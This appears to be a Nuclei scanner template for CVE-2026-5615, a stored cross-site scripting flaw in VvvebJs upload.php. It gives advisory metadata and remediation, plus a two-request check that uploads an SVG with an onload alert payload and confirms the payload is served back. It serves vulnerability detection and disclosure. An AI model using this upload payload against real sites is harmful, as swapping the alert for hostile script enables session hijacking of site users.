id: CVE-2026-5615

info:
  name: VvvebJs <= 2.0.5 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Givanz Vvvebjs <= 2.0.5 contains a stored XSS caused by manipulation of the "uploadAllowExtensions" argument in upload.php File Upload Endpoint, letting remote attackers execute scripts, exploit requires crafted input.
  impact: |
    Remote attackers can execute arbitrary scripts, potentially leading to session hijacking or user impersonation.
  remediation: |
    Apply the patch 8cac22cff99b8bc701c408aa8e887fa702755336 or update to the fixed version.
  reference:
    - https://github.com/advisories/GHSA-p873-9x3v-gmvh
    - https://github.com/givanz/VvvebJs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2026-5615
    epss-score: 0.01254
    epss-percentile: 0.79616
    cwe-id: CWE-79
  metadata:
    max-request: 2
    verified: true
    shodan-query: http.html:"VvvebJs"
  tags: cve,cve2026,xss,stored-xss,file-upload,svg,vvvebjs

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=--nuclei{{randstr_1}}

        ----nuclei{{randstr_1}}
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.svg"
        Content-Type: image/svg+xml

        <?xml version="1.0" standalone="no"?>
        <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
        <text x="10" y="20">{{randstr}}</text>
        </svg>
        ----nuclei{{randstr_1}}--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: upload_path
        part: body
        group: 0
        regex:
          - '/[a-zA-Z0-9_-]+\.svg'
        internal: true

  - raw:
      - |
        GET {{upload_path}} HTTP/1.1
        Host: {{Hostname}}

    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "{{randstr}}", "<svg xmlns=\"http://www.w3.org/2000/svg\" onload=\"alert(document.domain)\">")'
          - 'contains(content_type, "image/svg+xml")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402203b5f968f604f4d55831f2bb48e88fe3daf11842fb396375e44bcc3e0ab187bb902202738df77e731ffc8f9732ecc3f3a3b96f8703451ea883c181de57c472cdf8eaf:922c64590222798bb761d5b6d8e72950